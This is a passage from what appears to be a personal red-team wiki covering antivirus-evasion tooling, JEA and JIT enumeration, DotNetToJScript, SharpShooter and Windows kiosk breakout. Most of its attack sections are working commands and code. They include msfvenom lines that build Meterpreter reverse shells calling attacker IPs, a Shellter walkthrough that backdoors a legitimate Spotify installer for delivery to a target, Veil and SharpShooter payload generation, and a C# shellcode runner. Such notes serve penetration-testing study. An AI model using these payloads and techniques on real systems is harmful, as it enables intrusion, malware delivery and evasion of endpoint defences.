double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
